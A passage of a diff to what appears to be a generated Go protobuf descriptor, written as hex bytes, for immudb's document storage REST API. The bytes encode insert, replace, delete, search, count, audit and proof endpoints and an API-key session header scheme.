0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x2b, 0x22, 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, - 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, - 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x4d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x39, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xac, - 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x2b, 0x22, 0x26, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, + 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, + 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x39, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xac, 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x4c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x38, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xda, 0x01, - 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x38, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xda, 0x01, 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, - 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, - 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, - 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, - 0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, + 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, - 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, - 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, - 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, - 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, - 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, - 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, - 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, - 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, - 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, - 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x4b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, 0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, + 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, + 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, + 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, + 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, + 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, + 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, + 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, + 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, + 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, + 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, + 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, + 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 